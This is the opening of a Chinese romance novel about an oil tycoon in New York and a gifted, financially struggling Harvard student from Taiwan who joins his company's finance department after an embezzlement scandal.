图片载入中

惹情焰男

特大字】 【大字】 【中字】 【小字

楔子

“青风四狂组”是由四个意外结为莫逆、情同兄弟的男子组成,“青风”是 他们就读的高中之名。

“青风高中”位于台湾中部,为一所专收权贵子弟及外籍学生的私立贵族高 中。四名年纪略有差异的少年因着不同理由而进人学校,继而熟悉、结为知交好 友。

一年后,四人再因不同原因离开了青风高中。可四人在接下来的十数年间一 直保持联系二即使因为忙碌而鲜少见面,但四人间的情谊仍不曾淡褪。

“青风四狂组”的成员包括——

石油大亨陆振轩,英文名路克。

中美混血,红褐发色、深蓝眼眸,一点东方人的影子也没有,个性火爆粗扩, 霸气十足。

因开采油井成功,一夜致富,名下有数间用来打发时间,与石化业相关的科 技公司。

商业大亨翟尔杰,英文名杰森。

东方人,黑发、深琥珀色眼眸,为台湾知名商业世家中不太受重视的一员。

个性狡猾,口才超好的笑面虎,在纽约华尔街拥有一家知名的投资顾问公司。

权势大亨,安德烈。柯伦。

拥有四分之一中国血统的德育美国人,父亲为现任联邦参议员兼国安局特别 顾问。

金发绿眸,长相耀眼迷人,看似优雅舒懒贵公子,其实个性稳重谨慎,思绪 细密,目前正考虑要不要遵从父意步向政治之路。

黑道大亨,辛萨亚。克罗列。

义裔美国人,黑发黑眸,个性捉摸不定,带点儿恣意妄为的狂性,目前掌理 位于拉斯维加斯,全球连锁的银河饭店。

背景带着一丝神秘的他,外人仅知他是世界知名富豪安东。克罗列最小的儿 子,却不知安东。克罗列除了是富豪,还是意大利黑手党在美国的领导大佬之一。

四个莫逆之交在不同的领域中成就了一番事业,跻身大亨之列,优游在金钱、 权势之中。

他们的爱情故事也陆续展开……

豪门大宅里,通往楼上的阶梯十分宽敞,年方十五的女孩一步步走上阶梯, 才刚发育的身影显得十分娇小,轻轻的脚步声回荡在偌大的空间中。

女孩上了二楼,穿过宽敞的走廊,来到底端有着双扇门的主卧室前,伸手轻 轻敲了门板两下。

“进来。”甜美带着一丝痦痖的声音从门后传了出来。

女孩转动门把,将房门推开,走了进去。

“关上门,过来这里。”靠坐在落地窗前的贵妃椅上、打扮高雅的美妇一双 冷淡的眼看着站在门前的女孩,命令道。

女孩听令关上房门,走到美妇面前。“妈,你找我?”

“你父亲和前妻所生的女儿都叫我“妈咪”了,你怎么还改不了口?一本正 经的喊我“妈“,感觉一点都不亲近!”美妇纠正着,眼中透出不悦之色。

“他是我的继父,不是父亲。”女孩平声回道,语气不带任何喜恶。

“你这话是什么意思?!”美妇听到她的回答,神色立刻狰狞起来。“你就 像你那个死了好几年的父亲,个性呆板惹人厌,所以你的“继父”才会无法对你 付出更多的爱心!亏得学校还夸你是天才型的学生,在亲情方面却是这么迟钝… …真是气死人了!”她瞪着已经跳级念大学却一点人情世故也不懂的女儿,心中 愈发后悔自己在十几岁的年纪就冲动地结婚生小孩。

好在她的新婚丈夫与前妻所生的女儿很依赖、喜欢她,否则她哪有可能从守 寡的保母摇身变成豪门夫人,而且对方还肯接纳她的“拖油瓶”!

女孩默默与母亲“嫌恶失望”的目光对视良久,才微微抿了下唇,轻声问道 ;“妈要我怎么做?”

“现在你想做都来不及了!”美妇没好气地啐道。“你的继父已经告诉我, 他对你的态度十分不满,本来他要将你送去与你父亲的亲人同住,还好在我的要 求下,他终于还是同意让你继续住在这里,并抚养你直到成年。等你成年后,你 就得自己打算了,明白吗?”

她也不想和女儿说得那么白,可她这个女儿个性冷淡、嘴巴又不甜,更不懂 做人,她夹在丈夫和女儿之间也是很为难的。

女孩听了母亲的话,沉默了好一会儿才消化完毕。

“我明白了。”她会开始在课余时间打工赚钱,为成年以后的生活做准备。

“就这样?”美妇瞪大眼,再顾不得维持优雅的形象,怒声骂道,“我说了 一大堆,你就回我这么一句?!”一点也不觉得惭愧、不知反省?!

女孩不解的回视突然发怒的母亲。

她的回答错了吗?

“算了算了,我懒得再和你浪费唇舌!”看着一脸无辜的女儿,美妇再无耐 心,“虽然你的继父已经做了决定,不过日后你若是可以多亲近你的继父和“妹 妹”、给他们好印象,也许我可以适时为你说些好话,看能不能改变你继父的决 定。现在你回自己的房间去吧!该说的我都已经告诉你了,你自己好好想清楚吧!”

真气人!什么天才?是蠢才才对吧!竟然笨到不知道待在别人的屋檐下就该 “乖巧”一些,顺便为母亲巩固一下在这个家里的地位……”这种女儿留在身边 有什么用?浪费米粮而已!

遭到驱赶,女孩转身默默离开,心中巳然有所领悟……

☆☆☆

商界闻人的次子突生意外、英年早逝,丧礼肃穆隆重,白发人送黑发人的哀 恸,让整个仪式过程显得十分沉重悲伤。

十五岁少年一向开朗的脸庞失去了笑容,显得十分黯沉的双眼注视着被数不 清的白菊包围的父亲棺木,再移到后方大幅照片中依旧笑得爽朗的父亲,对于生 命如此脆弱感到无法理解。

稍早川流不绝前来吊唁的人潮已经散去,他终于可以安静地和父亲相处这最 后一刻而不被打扰……

须臾,一只腴白带着伤痕的手轻轻按上少年的肩头,他转过头,随即望见一 双和自己一模一样的深蓝色眼眸——母亲的眼眸。此刻那一向漾着温柔的眼眸中 充满了伤恸及心碎。

见到原该躺在病床上休息的母亲亲热偷跑出来,少年神色一惊,连忙伸手扶 住脸色极端惨白、左手吊绑着绷带、身子摇摇欲坠的母亲。

“妈咪,你怎么跑来了,医生还不准你下床啊!”

半个多月前,父母亲一同外出,一辆由酒醉司机所驾驶的车子失控超过道路 中线,撞上父亲所驾驶的车子,强烈的撞击让父亲当场丧命,母亲重伤昏迷多日 才清醒过来;因为内伤加上手臂骨折,母亲一宜住在医院里。

为了不让已经过度伤心的母亲再受打击,被从未接纳他们母子的父亲家人羞 辱,他说服母亲由他独自出席这不欢迎他们母子出现的丧礼,见父亲最后一面。

所以他来了,站在不受注意的角落观看全程,宜到吊唁的人群散去,才来到 父亲的棺木旁……怎知母亲竟然还是拖着病躯,不顾一切地赶来了。

“我一定要来见你父亲最后一面……”有着红褐发色、异国面貌的美妇微喘。 带着淡淡口音的嗓音轻哺,语调十分坚定。

“可妈咪身上的伤……”少年眉宇间流露出焦急,担忧地看着母亲。

美妇轻轻摇头,“别担心,我没事的……”

“你来做什么?!”一道威严且带着怒意的男性嗓音突地在两人有后方爆开。

美妇转过头,看见丈夫的父亲充满怨恨的蹬着她,她轻声开口,声音充满悲 伤。“磴石是我的丈夫,我来见他最后一面……”

“我儿子不需要你来见他最后一面!你这个害死我儿子的女人怎么还有脸站 在这里?若不是你。我儿子现在还好好的活在世上……”

“你骂够了没有?!”少年蓦地出声,直视着老人及他身后一大群“家人”, 黯沉的眼进出一抹严厉,“陆磴石是我母亲的丈夫、我的父亲,我们和你们一样 有权利站在这里!”

老人厉眼猛地瞪大,“你——”

少年再次打断他,“你说你一点也不想见到我们,可你知道吗?我们也不想 见到你!今天是我父亲的丧礼,不管你是我父亲的什么人,都没有权利阻止我和 母亲来这里见他最后一面!”

“你看我有没有权利!你这个小杂种,是谁给你胆子,让你这样对我说话的?!” 老人的声音充满震怒。

“若要别人尊敬,就别仗着自己的辈分,随意出口伤人。”少年毫不客气的 回应,眼神不带一丝暖意地睨着老人。

“你……你……你们这对不知羞的母子立刻给我滚出去!”一向为家族独裁 掌权者、从未被人顶撞过的老人气得破口大骂。

毫无惧色的少年继续睨着老人,“别以为我们喜欢和你们这些自以为是的人 站在一起!等我和母亲见过父亲最后一面就会离开,不需你来驱赶!”

少年说完,不再和这些人周旋下去,扶着母亲绕过围着棺木的花海、见过父 亲最后一面后随即离去。

一个月后,少年随着身体状况稳定下来的母亲离开了台湾。

第一章

美国纽约

夏季的纽约,入夜之后,市中心的街道依旧灯火通明,本地人和观光客来回 穿梭在知名的第五大道人行步道上,即使天气炎热潮湿,也挡不住购物者高昂的 兴致。

这晚,位于时代广场旁一家五星级饭店的宴会厅里,由某大企业集团主办的 商业晚宴正热闹的进行着。

居于一隅的小型乐团演奏着一首首优美动听的乐曲,穿着制服的服务生托着 摆有小酒杯的托盘穿梭在衣着华丽,珠光宝气的宾客之间。

宽敞的宴会厅中有多对男女在舞池里优雅旋舞,舞池周边则是有宾客三三两 两地聚在一起低声交谈,气氛热络又融洽,厅内高挂的水晶灯光芒闪映在室内, 更增添缤纷光彩。

站在较少人角落的陆振轩以十分不耐烦的目光瞪着陪站在一旁、自己最得意 的手下瑞恩,低咆出声。

“请你再说明一次,为什么我一定得参加这个宴会?!”

瑞恩好笑地迎视上司那带着杀意的眼神,不在意地耸耸肩。“就是为了替收 购“菲特胶业”这个动作铺路,所以才要老板来露个脸喽。”

他这个老板大概是世界上最不喜欢参加宴会的富豪。明明就有一张比别人出 色的脸孔,也具备完美的社交礼仪,偏偏他就是太懒惰了,非常不喜欢和别人打 交道,才会害得他这个特助除了忙碌公事,还得不时代老板出席各种对公司有帮 助的宴会,对人陪笑。

唉!若不是老板对他实在很不错,加上自己真的喜欢这份工作,他早就落跑 了,毕竟“过劳死”可不是什么好事。

有着一半东方血统,外貌却丝毫看不出来,拥有红褐发色的陆振轩,一双深 蓝色的眼眸里燃着怒火,瞪着一脸轻松的瑞恩,并没有因为他的解释而稍熄火气。

“你在说什么鬼话?!收购“菲特胶业”和我露不露面有什么关系?你以为 随便唬拢两句,我就会乖乖听你摆布应酬这些虚伪的人吗?”

“冤枉呀!老板。”瑞恩口中喊冤,特意忽视上司眼中愈来愈浓的杀气、“ 若不是真的有需要,我怎么会坚持你一定要出席这场宴会呢?”

陆振轩目光微闪,用忍耐的语气问,“哪种需要?说清楚点!”

“柯西集团也有意收购“菲特胶业”,负责收购案的是岱妮。柯西,集团主 席的女儿,她在得知我们和她有相同的目标后曾找我谈过,说只要你出席今晚这 场宴会并与她私下聊一聊,她可以放弃这件收购案。”瑞恩很快地解释。“姑且 不论她找你聊一聊的目的是什么,可以不费吹灰之力就减少一个竞争对手总是好 的,所以你就勉为其难,听听她想对你说的话吧!”

陆振轩拧起眉,不悦地继续瞪他,“之前评估这项收购案时,并没有其他强 力的竞争对手,毕竟谁也不想承接一间面临倒闭命运的公司:那这个“柯西集团” 又是从哪里蹦出来的?”

“时间太短,目前我只查到在你寥寥几次曾参加过的宴会里,这位岱妮。柯 酉小姐也有参加,不过你们并未被正式介绍过。”

“就这样?”陆振轩的眉头拧得更紧了,语气毫不掩饰地透出不满。

“就这样。”瑞恩点点头,露出一个抱歉的笑容,“诚如我所说,时间太短, 所以还查不到更多的细节。”

“我刚才在会场绕过一圈时已经见过这个岱妮。柯西了,只是当时我还不晓 得她有这样的“提议”。”陆振轩眼儿半眯地回想起方才见过的某位女人,还有 当时她看他的眼神。

“老板,你要不要过去和柯西小姐聊一聊,探探她的目的?”瑞恩圆滑的建 议着。

“为了一件收购案,你打算出卖你老板的“色相”?”陆振轩语气阴森,且 尖锐地足以刺穿“某人”的皮肤。

“当然不是!”瑞恩忍住打寒颤的感觉,立刻解释,“收购案已进人签约前 的最后阶段,我实在不想节外生枝,只好麻烦老板充当一下“间谍”的角色了。” 毕竟人家指名要的是老板呢!

原本陆振轩眼底的怒火就要喷射出来,下一刻却又突然收政消失,语气森然, “我就去找她谈谈!至于你……我还没跟你把帐算清楚,把脖子洗干净等我回来!” 丢下话,他随即迈开大步,朝某个特定目标而去。

听到上司的警告,瑞恩脸上的表情僵了僵,露出苦笑目送上司离去,心中哀 怨不已。

有没有搞错啊?公司是老板的,又不是他的,要老板为公司出一份力不是天 经地义的事吗?为什么他还得等着老板回来“秋后算帐”呢?

☆☆☆

一个半月后磴石集团会议厅

财务部门每两个月一次的汇报会议才进行了二十分钟左右,气氛已然凝重到 让坐在偌大长桌两旁的人个个神情紧绷、额间沁出冷汗,无法直视坐在主位上的 集团总裁陆振轩那张愈来愈难看的脸。

众人之所以会如此噤若寒蝉。战战兢兢,是因为财务部人员竟然在主管出差、 不在公司的一个多月间“不小心”捅了个楼子。

“该死的!”

大掌往桌面用力一拍,发出砰然巨响,陆振轩破口大骂,火气喷射而出,“ 你们的主管才出差一个多月的时间,你们竟然会笨到让人轻易在公司的财务报表 上动手脚,还蠢得迟迟没有发现?!你们到底是怎么做事的刊?!”

慑于陆振轩震怒难看的脸色,一脸灰败的财务部副理支支吾吾的解释显得十 分软弱,没有说服力。

陆振轩一双怒眼直射向满眼惶恐的男人,如刀般的嗓音截断他的辩解。“既 然先前就察觉有问题,为什么不清查到底、弄清楚症结所在?反而姑息偷懒,直 到人都把钱卷走了,事情已经无法挽回,才领悟到大事不妙、呈报上来!这种马 后炮的行为有个屁用?我是请你们来混吃混喝的吗?!”

一个多月前的晚宴上,他依照助理瑞恩的“建议”,十分不情愿地和岱妮。 柯西谈了一会儿,立刻就明白她心里打得是什么主意。

原来这位柯西小姐早八百年前就“喜欢”上他,开始追逐他的一举一动;为 了吸引他的注意、达到接近他的目的,她执意介人“菲特胶业”这件收购案,并 向他的助理瑞恩提出条件。

而他在明白事情的来龙去脉后,也就“收”下了她——反正他最近一任情妇 才刚下堂,他身边并没有固定女伴,这个岱妮。柯西年轻又美艳,也还算看得顺 眼。

所以,在和岱妮讲清楚“游戏规则”后,他同意她的要求,和她“交往”看 看。

之后柯西集团果然退出了竞购,“菲特胶业”的收购案得以顺利进行下去。

怎知瑞恩才带着收购案相关人员出差一个多月的时间、财务部门就出了问题, 让人堂而皇之的动了手脚!这教他怎能不火冒三丈?!

接触到总裁那充满暴风的目光并嗅到工作即将不保的气息,财务部副理心中 一寒,浑身沁出冷汗。语气急促地试图解释。

“当、当然不是这样的……对不起,总裁,我实在不是——”

“闭嘴!我现在一点也不想听你说些推卸责任的废话!”陆振轩暴怒斥道。 “现在我要你立刻开始彻查,追踪款项的流向,并要保全部门配合,把人找出来! 我要在最短的时间内得到答案!”他狠戾的眼神一瞬也不瞬地盯着下属,“至于 失职的你该负什么责任,你很快就会知道了!”

说完,陆振轩霍地起身,头也不回地离开会议室,留下一于瘫软在座立上动 弹不得,脸色更加灰败的员工。

☆☆☆

陆振轩在会议室发现的数天后,他的得力助手兼财务部门主管瑞恩处理完收 购案的细节回到公司,在第一时间内就被召唤到总裁办公室。

“我说“立刻”来见我,指的就是马上、立即的意思,而不是一个小时之后!” 陆振轩嘲讽的嗓音在瑞恩踏进办公室的那一瞬响起。

“我总得先弄清楚,我不在公司的这段期间到底发生了什么事,让我们的总 裁大人发那么大火,吓得公司员工个个脸色青白。”瑞思毫无惧色,从容的面对 顶头上司不善的目光。

啧啧,看老板的脸色就知道他这几天的心情有多糟了……似乎气得不轻哪!

“你在说废话吗?做错事被骂是天经地义,你那几个无能的下属难不成还想 抗议吗?我管他们脸色好不好看,没当场开除他们已经很仁慈了!”陆振轩神色 不耐地斥骂,语气森森再问,“既然你拖拉了一个小时才来见我,可见你已经弄 清楚前因后果,也想好怎么跟我解释了?”

瑞恩点点头,眼神透出一丝凝重,“这次的事,财务部人员的确有严重流失。 之前我对乔治所设计的几个管理帐目和迅速建档的程式一直觉得任,所以私下已 经交代副理要多加留意,盯着乔治的工作流程,谁知他还是疏忽了……”

“所以让我们损失了一大笔钱!”陆振轩嘲讽地接口,并很不客气地质问, “你要不要算算这几年来,这种事已经发生多少次了?”

“我无话可说。”瑞恩苦笑叹道。“现在有好操守的员工实在不多,尤其是 在财务部门,每天经手大笔金钱,每个人都不想以努力和能力换取酬劳,只想一 步登天,聪明才智全用在错的地方……真是让人感慨他们抵抗诱惑的能力竟然那 么低!”

陆振轩睨向瑞恩的苦瓜脸,“我是有钱,损失的金额对我来说根本不算什么, 但我无法容忍被人用这种方式污走我的钱!”

“我明白你的意思。目前我们保全部门的人已循线追查,不日便可将潜逃的 人找出来。”瑞恩说明目前的彻查进度。

幸好磴石集团的保全部门能力超强,之前几次也都是靠他们将人找到并追回 失款的。

“不能让外界老是听到集团的负面消息,这种事不能再发生了,一定得找出 解决方式!”怒火稍熄的陆振轩语气仍是不悦。

“那就先处分失职人员,再招募新人进来?”瑞恩略—思索后提议。

陆振轩点点头表示同意,脑中突然冒出一个想法,“既然打算找新人进来加 以训练,不如就从几所知名大学里找即将毕业的学生来实习,再从中挑选优秀合 适的人签约替公司工作……这样的新人忠诚度应该会比那些已经在职场上打滚的 人高吧?”

“老板说的也有道理。不过名校学生虽然聪明优秀,却也自视甚高,加上现 在的年轻人大多好逸恶劳,恐怕役那么容易调教……”瑞恩眼中泛出一抹深思。

“那就是你的问题了,不是吗?”陆振轩眼底掠过一丝狡猞,“你身为财务 部主管,自然得睁大眼,找几个“忠贞”的员工进来,并用力祈祷类似的楼子不 会再发生了。”

瑞恩脸色微变,接着哀叹出声,“总裁大人,你这招未免也太狠了吧!万一 不小心把你最好的帮手弄死了,损失可就大了!”他还不够忙吗?竟然要他亲自 去找人、面试?!总裁大人真打算让他过劳死啊?!

“怎么会?”陆振轩挑挑眉,露出邪气的笑容。

看着得力手下的脸色终于不再镇定,他心中残存的怒气总算全部消退。“别 忘了。你身边还有一组精英人员可以为你分忧呢,怕什么?”

瞪着老板“坚定”的眼神,瑞恩终于认命地点头。“我会依照总裁的建议去 找新员工。”

“很好。”陆振轩满意一笑。“那我就等着你带新员工来见我了。”

“我知道了,总裁!”瑞恩有些咬牙切齿的回答,双眼毫不客气地瞪向心情 显然已经变好的上司。

☆☆☆

位于美国东北部的波士顿四季分明,才九月中旬天气已经有了很大的变化, 白日温度尚且宜人,一人夜却是气温直降,让人清楚感受到秋季的瑟瑟寒意。

哈佛大学偌大的校区内,连接各学院与校舍之间,宛如大型公园的广阔草坪 上,利用午餐空档偷闲一下的学生三三两两地或坐或躺,神态忒是优闲。

这时,通往商学院那头、一高一矮两个年轻女孩缓缓穿越草坪,边走边说着 话。

“凯珊,你前几天说要再找一份打工,找到了吗?”个子高窕的汀娜关切地 问着走在自己右侧,矮一个头的好友卓凯珊。

虽然同样是拿奖学金,但她还有家人在背后支援,定时寄来生活费,较无后 顾之优;从台湾来的凯珊就比较惨了,她远方的家人根本对她不闻不问,别说是 寄来生活费了,她们俩相识几年,她还未曾看过凯珊家人捎来只字片语呢!也因 此凯珊必须兼任数份工作以维持生活。

“找了几个都不太合适。有的时间搭不上,有的薪资太低。”卓凯珊摇摇头。 “不过刚刚丹尼同学有告诉我一个工作机会呢!”

“丹尼同学?”汀娜神情怪异地瞥了好友一眼。

凯珊智商极高,却是个标准的书呆子,除了她以外,对其他同学一律以“某 某同学”来称唿,让人有一种仿佛她是特意要跟人隔出一段距离的奇怪感党。

“对,就是那位上必修课时总是坐在你前面位置的丹尼同学。”卓凯珊点头 说明,“他告诉我,他看见商学院网站上有一则企业征才启事,说“磴石集团” 打算召募金融相关科系的应届毕业生进人总部打工实习,倘若表现优异,毕业后 就可以直接留任,成为正式的员工。”

“真的假的?全美知名的“磴石集团”?!”汀娜轻则出声,“就是那个老 板年纪轻轻就控制“黑金”,以石油起家的磴石集团?!”怎么可能?这种大企 业怎么会想找没有工作经验的学生当员工?

“大概是吧。”卓凯珊眉心微蹩,“我不太清楚磴石集团的历史,不过我已 经打算先去弄清楚他们征人的条件;如果时间和薪资都合适的话,我就会去应征。” 九月开学后,她本来的工作因时间上无法配合只好辞掉,所以她急需再找一个工 作来支付生活所需。

“以你的能力,绝对不成问题的啦!”汀娜摆摆手,“比较可能的是工作薪 资会太过低廉。不符合你的要求。”

“的确。”卓凯珊亦有同感地点点头。“若是工资低廉得让我连吃都吃不饱, 那么即使工作的前景有多么光明,我还是会选择放弃。”

自从决定接受哈佛提供的全额奖学金到异地来求学,她心中就做好了准备, 知道自己得很努力、很努力地打工,才能支付在异地最基本的生活所需。

因为她早已清楚地知道,她的继父宁可花大钱送自己与前妻所生的女儿到日 本念贵族新娘学校,也绝不会拿出一分半毫来供给她这个与他毫无血缘关系的拖 油瓶。

所以,不管她毕业后回不回台湾,她的“家人”都不会在意的;至于她自己, 则是比较倾向留在美国。

“反正先去打听清楚再说,若条件不合适,也只能放弃喽!”汀娜目光朝向 前方,并未留意到好友眼底倏闪而逝的情绪。“我会再帮你问问哪里还有适合的 打工机会。”

“那就麻烦你了。”卓凯珊转头对好友微笑致意。

才瞄到卓凯珊脸上的笑容,汀娜立刻一副消受不了的表情翻了个白眼,“凯 珊,我不是早告诉过你,没事别笑得这么“可人”吗?”

“我不懂你的意思。”卓凯珊不解地微蹙下眉,“你到底在说什么啊?”

“我先前跟你解释了好几次,你老是一副搞不清楚状况的模样……”汀娜叹 了声,“反正你只要记得别对不认识的人乱笑就行了。”

凯珊的笑容太天真,充满无形的吸引力,可她自己却浑然不觉:再加上她毫 无“危机意识”,所以最简单的方法就是叫她少笑一点。

“喔。”卓凯珊很受教的点点头。即使心中并不觉得自己有对陌生人微笑的 习惯;她也不想反驳好友的叮咛。反正这种事并没有值得讨论的地方,就不必浪 费时间了。

第二章

“哈!这回我总算挖到宝,为财务部找到一个最适合也最厉害的助手了!这 可都要感谢老板你睿智的建议呢!”

坐在办公桌后大皮椅上的陆振轩,身子往后靠向椅背,眼神挑剔地看着笑咪 咪走到他面前的得力助理瑞恩,对他愉悦的神情感到十分刺目。

或许是受到昨夜不愉快梦境的影响,今早一起身,他就感到心情十分晦暗、 低落,如今一个上午过去了,他的心情还是没有好转……偏偏他的助理却挂着让 人很想给他一拳的傻笑表情走到他面前。

“如果我没记错,昨天你脸上还没挂上这副蠢样……看来你今天心情不错嘛!” 不悦的话语由陆振轩口中直说而出,“你进来打扰我办公就是想给我看你脸上的 蠢笑?!”

瑞恩先是一愣,然后挑了下眉。啧啧,老板今天的心情显然很糟呢!

“当然不是。”识时务的瑞恩稍稍放下脸上愉悦的笑容,小心翼翼地看着顶 头上司,解释着,“我是想告诉老板一个好消息才进来的。”

“好消息?”陆振轩皱起眉,“业务部又签到大订单了?”公司业务部门能 力一向好得很,就算又签到一笔大订单也不稀奇,不用特地跑来报告吧?

“一是这方面的好消息。”瑞恩很快地摇头。“你还记得两个多月前,你建 议到知名大学找应届毕业生来公司实习的事吗?”

陆振轩微微撇嘴,“人找齐了?”

“对!”瑞恩立刻眼睛一亮,“不仅替补的人员找齐了,我们还找到了一个 天才会计高手!财务部有了她,简直是如虎添翼啊!”

“她?”陆振轩扬起了眉。

“对,她。”瑞恩点头续道,“小卓能力很强,在短短半个月内就重新整合 了我们公司的帐目,还设计了一组简易帐目管理系统和原先的处理系统搭配使用, 增加效率。另外,她还在系统中设下暗码机制,只要有人想动手脚,电脑就会示 警,告知部门负责人——也就是我。”他笑着指指自己,脸上漾着满意之色。“ 小卓何止管帐能力强,还替我省下好多可能会发生的麻烦呢!”

陆振轩静静听瑞恩说完,看着自己这位不轻易服人的助手脸上显露的信服, 原本带着讥消的眼底闪过一抹深思。

“我可以请问一下,你口中这位能力卓绝的小卓是从哪里找来的吗?”

“她是哈佛商学院拿全额奖学金的学生,主修财务金融,副修会计商管。明 年毕业。”瑞恩回答得很仔细。这回他可是找进来好几个有实力的帮手,为财务 部增添了生力军!

“哈佛的高材生?”陆振轩挑眉,“那她的背景也做过征信调查了?”

“调查结果还没出来。她是东方人,家在遥远的亚洲,所以调查结果会比较 延迟。”

陆振轩直射向瑞恩的眼中立刻透出不悦,“一个等于是来历不明的人,你怎 么敢将公司的帐目交到她手上?你是胡涂了吗?”

瑞恩脸色微僵了下,“呃,我有盯着她,她做每一件事时我都在场,应该不 会有事的。”

唇角扬起嘲讽的弧度,陆振轩看着一向心思缜密、精明干练的得力助手,无 法想像他也会有对人失了防心、疏忽的时候。

“总栽?”看着脸色不豫且半晌没有出声的老板,瑞恩忍不住疑惑唤道。

陆振轩沉默了一会儿,突然勾起后,“叫这位小卓来见我,我真的很想知道 她的能力到底有多“强”!”

瑞恩愣了下,奇怪地看了顶头上司一眼,“好,我这就叫她上来。”

☆☆☆

卓凯珊正坐在电脑前忙着核对数据,突然接到上司瑞恩的电话命她即刻上楼 前往总裁室,她心中虽然对这个命令感到有些讶异,可仍是不敢观地起身。

进人磴石集团财务部工作将近一个月的时间,除了部门同事和上司瑞恩以外, 她连其他部门的主管都不曾见过,为什么会在今天突然要她去见集团总裁?

卓凯珊很快地来到总裁办公室所在的楼层,心中尚在猜想被叫来这里的原因, 竟意外看见顶头上司已经等在办公室门外。

“瑞恩先生。”她点头招唿,心里泛起一丝疑问。

“跟我进去,总裁要见你。”瑞恩瞥她一眼,随即推开门走了进去。

“好的。”卓凯珊没有迟疑地跟上去。

两人工一前一后才走进办公室,一个带着权威的嗓音已然响起。

“瑞恩,谢谢你的“带领”。你可以去工作了,接下来的事由我接手。”带 点儿嘲讽意味的嗓音由陆振轩的口中发出,一双眼毫不客气地打量起随着瑞恩走 进办公室的女孩。

才看一眼,他的眉心就不露痕迹地微蹙了下。

她好娇小,看起来像未成年少女,实在让人难以想像这样一个年轻的女孩竟 然能让瑞恩这个商场老将信服!

“是,总裁。”听出老板赶人的意思,瑞恩立刻应声,转身退出办公室。

卓凯珊站在办公桌前,看着坐在大皮椅上,身材高大壮硕、有着红褐发色的 男人。明白他正是磴石急团的总裁,原本毫不紧张的心在目光与他那双仿佛能看 透人心的深蓝色眼眸接触时,竟然猛烈狂跳了好几下,一股不自在的感觉倏地由 体内涌上。

生平第一次,她感觉唿吸有些困难。眼前这个男人身上辐射出一股无形却十 分强大的气势,仿佛震慑住周围的空气、令她产生一种奇异的窒息无力感觉。

她觉得很荒谬,不明白这种无形的威胁感从何而来……总不会是因为见到老 板,她突然紧张起来了吧?!

“坐下,”陆振轩突然出声,目光瞬也不瞬,大手举起指了指摆在办公桌前 的椅子。

“好的,总裁先生。”卓凯珊眸光微闪,没有犹豫异议地坐了下来。

“很好,服从性颇高。”在更近的距离下,陆振轩的目光继续在她脸上、身 上挪移,口中的赞赏带着点漫不经心的意味。

卓凯珊愈发感受到他的注视带来的“困扰”,一向迟钝的感官竟然隐隐感觉 自己仿佛已变成一块被放在砧板上的肉,正任由人评头论足,好决定该斩剁成几 块!

她用意志力抛开浑身不自在的感觉,努力开口道,“我是卓凯珊,总裁先生 召我前来,不知有什么事要交代?”

陆振轩眉稍微动了下,眼底闪过谜样光芒,唇角一扬,“你成年了吗?”

这完全出乎预期的问题让卓凯珊愣了好一会儿,方才满眼困惑地回答,“报 告总裁,我已经满二十岁,以东方人的标准来说,当然已经成年。”

“才满二十岁就要从大学毕业?原来你是个天才啊!”陆振轩眼神锐利地盯 着她的脸庞,慢条斯理地说:“我们集团还不曾幸运地找到过如你这般年轻优秀 的员工呢!”

卓凯珊眼神依旧困惑,脸上也没有被人称赞的兴奋得意,语气平和回道,“ 总裁先生过奖了、能进哈佛的人都是有实力、十分聪明的人,如我这般条件的人 更是多不胜数,我的资质还称不上“天才”这两个字。”

“这么谦虚?是故意说给我听的吗?”陆振轩眯了眯眼,语气嘲谑。

“我只是说实话。”卓凯珊不解的回视他,觉得他的语气有故意找她麻烦的 意味,可又无法确定。

陆振轩继续盯着她,目光在她的小脸上仔细梭巡,观察着任何微小的变化。

这个卓凯珊十分冷静内敛,年轻的小脸上却有着老成持重、小学究似的表情, 且一副身份发生的事都和她无关的超然,看了实在让人感到有些啼笑皆非。

即使他很少接触如卓凯珊这般年纪的女孩,可他也知道,一个才二十岁的女 孩是很难得如此稳重的,而这一点让卓凯珊在他眼中变得有些特殊且与众不同, 还让他兴起想继续探索下去的念头。

另外,在细细端详她之后,他发现瘦小的她有一张十分清灵秀雅的脸庞,且 充满浓浓的书卷味;看她这模样,大概也不会有人怀疑她不是在校生吧!

奇异光彩由陆振轩眼中进射,他愈着卓凯珊就对她愈感兴趣,那种感觉就好 像多年前他大胆决定投人钻探油井的行列时,心中充满着兴味盎然。

“瑞恩在我面前一再称赞你的工作能力,说你不仅能替他分担公事,还加强 了公司帐务系统的保护措施、我才会想认识一下这么一位优秀的员工。”陆振轩 引述瑞恩对他说过的话,看着卓凯珊的眼光泛出热度。

只是尽责,就算是“优秀”员工?卓凯珊十分不解地注视着他。

“我所做的事是很正常的,并不特殊。关于系统的保护功能,之前负责的人 员大概是一时疏忽而忘记启动机制,我只不过是略做修改、加强功能性罢了,不 算什么太难的事。”她直言解释,心里还是没弄懂,总裁先生到底找她来做什么?

“年轻、优秀、聪慧绝伦又谦虚……卓小姐,我发现我对你的兴趣是愈来愈 浓厚了。”陆振轩语调复杂,眸中的热度升高。

“对我的兴趣?”卓凯珊一呆,眼中流露出困惑,“总裁先生,我不太明白 你的意思。你是指对我工作能力的兴趣?”

逗趣的光芒自陆振轩的眼中一闪而逝,他微勾起唇角,没有为她解答疑惑, 反倒问起别的事,“你喜欢在财务部工作?”

“当然。”卓凯珊点头。“我一向对数学很有兴趣,在学校主修财务金融, 能在毕业前找到一个符合自己兴趣,薪资又合乎需求的工作,我觉得自己还满幸 运的。”说着,她唇边漾起一个满足的笑容。

“薪资符合?”陆振轩挑高眉,“你缺钱用?”

“对。”卓凯珊很老实地点头。

一丝厉色闪过陆振轩的眼底,“父母给的零用钱不够?”他故作不经心的问。

一个缺钱的人适合从事经手大笔金钱的工作吗?瑞思该不会又找了一个未来 有可能当内贼的员工吧?

“是生活费。”卓凯珊没有隐瞒自己的处境。“我不是神仙,奖学金支付学 费后,我还需要吃饭、需要有地方住。打工的薪资如果不够的话,就得勒紧裤带 了,而那种滋味可是很不好受的!”她有感而发,想起这几年曾遇过几回的“惨 痛经验”。

陆振轩心中才刚怀疑她是故意这么说以博取同情,在触及她冷静无波的眼神 后,便明白她只是在陈述一项事实,并没有想借此博取他人同情的企图。

对她这种奇特的个性,他更加觉得不可思议——难道不管她身边发生什么状 况,她都可以保持镇定的心情,绝不影响自身的情绪?

“你的父母没有支持你在异地求学的生活所需?”想不到她这么厉害,竟然 是个拿全额奖学金的狠角色。

“没有。”卓凯珊摇摇头。“我的继父在我成年后就停止支付我的生活费了。”

“这么绝情?””陆振轩淡淡的评了句,然后再问。“在异地求学还得打工 赚生活费,很辛苦吧?”

